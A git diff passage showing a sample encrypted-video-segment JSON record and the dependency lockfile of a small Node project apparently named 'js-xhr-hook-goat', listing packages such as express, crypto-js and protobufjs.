"segment_id": 0, + "segment_name": "segment_000.ts", + "encrypted_data": "U2FsdGVkX1+9RHrLaIMkSwKWn0RyazOvYWJjZGVmZ2hpams2MzQ1Njc4OTBhYmNkZWZnaGlqaw==", + "iv": "abcdef1234567890abcdef1234567890", + "encryption_method": "AES-128-CBC", + "segment_size": 387456, + "duration": 30, + "timestamp": 1738252800, + "content_type": "video/mp2t" +} diff --git a/JS-hook/package-lock.json b/JS-hook/package-lock.json new file mode 100644 index 0000000..af30ded --- /dev/null +++ b/JS-hook/package-lock.json @@ -0,0 +1,951 @@ +{ + "name": "js-xhr-hook-goat", + "version": "v0.1", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "js-xhr-hook-goat", + "version": "v0.1", + "license": "MIT", + "dependencies": { + "body-parser": "^1.20.3", + "crypto-js": "^4.2.0", + "express": "^4.21.2", + "protobufjs": "^7.5.3" + } + }, + "node_modules/@protobufjs/aspromise": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/@protobufjs/aspromise/-/aspromise-1.1.2.tgz", + "integrity": "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/base64": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/@protobufjs/base64/-/base64-1.1.2.tgz", + "integrity": "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/codegen": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/@protobufjs/codegen/-/codegen-2.0.4.tgz", + "integrity": "sha512-YyFaikqM5sH0ziFZCN3xDC7zeGaB/d0IUb9CATugHWbd1FRFwWwt4ld4OYMPWu5a3Xe01mGAULCdqhMlPl29Jg==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/eventemitter": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/@protobufjs/eventemitter/-/eventemitter-1.1.0.tgz", + "integrity": "sha512-j9ednRT81vYJ9OfVuXG6ERSTdEL1xVsNgqpkxMsbIabzSo3goCjDIveeGv5d03om39ML71RdmrGNjG5SReBP/Q==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/fetch": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/@protobufjs/fetch/-/fetch-1.1.0.tgz", + "integrity": "sha512-lljVXpqXebpsijW71PZaCYeIcE5on1w5DlQy5WH6GLbFryLUrBD4932W/E2BSpfRJWseIL4v/KPgBFxDOIdKpQ==", + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.1", + "@protobufjs/inquire": "^1.1.0" + } + }, + "node_modules/@protobufjs/float": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/@protobufjs/float/-/float-1.0.2.tgz", + "integrity": "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/inquire": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/@protobufjs/inquire/-/inquire-1.1.0.tgz", + "integrity": "sha512-kdSefcPdruJiFMVSbn801t4vFK7KB/5gd2fYvrxhuJYg8ILrmn9SKSX2tZdV6V+ksulWqS7aXjBcRXl3wHoD9Q==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/path": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/@protobufjs/path/-/path-1.1.2.tgz", + "integrity": "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/pool": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/@protobufjs/pool/-/pool-1.1.0.tgz", + "integrity": "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/utf8": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/@protobufjs/utf8/-/utf8-1.1.0.tgz", + "integrity": "sha512-Vvn3zZrhQZkkBE8LSuW3em98c0FwgO4nxzv6OdSxPKJIEKY2bGbHn+mhGIPerzI4twdxaP8/0+06HBpwf345Lw==", + "license": "BSD-3-Clause" + }, + "node_modules/@types/node": { + "version": "24.1.0", + "resolved": "https://registry.npmmirror.com/@types/node/-/node-24.1.0.tgz", + "integrity": "sha512-ut5FthK5moxFKH2T1CUOC6ctR67rQRvvHdFLCD2Ql6KXmMuCrjsSsRI9UsLCm9M18BMwClv4pn327UvB7eeO1w==", + "license": "MIT", + "dependencies": { + "undici-types": "~7.8.0" + } + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "license": "MIT", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==", + "license": "MIT" + }, + "node_modules/body-parser": { + "version": "1.20.3", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz", + "integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==", + "license": "MIT", + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.5", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.13.0", + "raw-body": "2.5.2", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.1.tgz", + "integrity": "sha512-BhYE+WDaywFg2TBWYNXAE+8B1ATnThNBqXHP5nQu0jWJdVvY2hvkpyB3qOmtmDePiS5/BDQ8wASEWGMWRG148g==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.3.tgz", + "integrity": "sha512-YTd+6wGlNlPxSuri7Y6X8tY2dmm12UMH66RpKMhiX6rsk5wXXnYgbUcOt8kiS31/AjfoTOvCsE+w8nZQLQnzHA==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", + "license": "MIT", + "dependencies": { + "safe-buffer": "5.2.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.1.tgz", + "integrity": "sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==", + "license": "MIT" + }, + "node_modules/crypto-js": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.2.0.tgz", + "integrity": "sha512-KALDyEYgpY+Rlob/iriUtjV6d5Eq+Y191A5g4UqLAi8CyGP9N1+FdVbkc1SxKc2r4YAYqG8JzO2KGL+AizD70Q==", + "license": "MIT" + }, + "node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "license": "MIT", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "license": "MIT" + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/express": { + "version": "4.21.2", + "resolved": "https://registry.npmjs.org/express/-/express-4.21.2.tgz", + "integrity": "sha512-28HqgMZAmih1Czt9ny7qr6ek2qddF4FclbMzwhCREB6OFfH+rXAnuNCwo1/wFvrtbgsQDb4kSbX9de9lFbrXnA==", + "license": "MIT", + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.3", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.7.1", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.3.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.3", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.12", + "proxy-addr": "~2.0.7", + "qs": "6.13.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.19.0", + "serve-static": "1.16.2", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/finalhandler": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz", + "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==", + "license": "MIT", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.7.tgz", + "integrity": "sha512-VW6Pxhsrk0KAOqs3WEd0klDiF/+V7gQOpAvY1jVU/LHmaD/kQO4523aiJuikX/QAKYiW6x8Jh+RJej1almdtCA==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "function-bind": "^1.1.2", + "get-proto": "^1.0.0", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "license": "MIT", + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/long": { + "version": "5.3.2", + "resolved": "https://registry.npmmirror.com/long/-/long-5.3.2.tgz", + "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", + "license": "Apache-2.0" + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", + "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "license": "MIT", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/object-inspect": { + "version": "1.13.3", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.3.tgz", + "integrity": "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-to-regexp": { + "version": "0.1.12", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz", + "integrity": "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==", + "license": "MIT" + }, + "node_modules/protobufjs": { + "version": "7.5.3", + "resolved": "https://registry.npmmirror.com/protobufjs/-/protobufjs-7.5.3.tgz", + "integrity": "sha512-sildjKwVqOI2kmFDiXQ6aEB0fjYTafpEvIBs8tOR8qI4spuL9OPROLVu2qZqi/xgCfsHIwVqlaF8JBjWFHnKbw==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.2", + "@protobufjs/base64": "^1.1.2", + "@protobufjs/codegen": "^2.0.4", + "@protobufjs/eventemitter": "^1.1.0", + "@protobufjs/fetch": "^1.1.0", + "@protobufjs/float": "^1.0.2", + "@protobufjs/inquire": "^1.1.0", + "@protobufjs/path": "^1.1.2", + "@protobufjs/pool": "^1.1.0", + "@protobufjs/utf8": "^1.1.0", + "@types/node": ">=13.7.0", + "long": "^5.0.0" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/qs": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz", + "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==", + "license": "BSD-3-Clause", + "dependencies": { + "side-channel": "^1.0.6" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz", + "integrity": 